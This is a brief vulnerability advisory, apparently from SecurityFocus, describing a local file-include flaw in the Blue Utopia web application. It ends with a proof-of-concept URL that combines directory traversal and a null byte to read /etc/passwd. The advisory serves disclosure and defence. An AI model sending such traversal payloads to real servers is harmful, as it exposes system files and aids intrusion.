source: https://www.securityfocus.com/bid/33851/info

Blue Utopia is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to view and execute arbitrary local files in the context of the webserver process. This may aid in further attacks. 

http://www.example.com/index.php?page=../../../../../../../../../../../../../../.. /../../../../../../../../../etc/passwd%00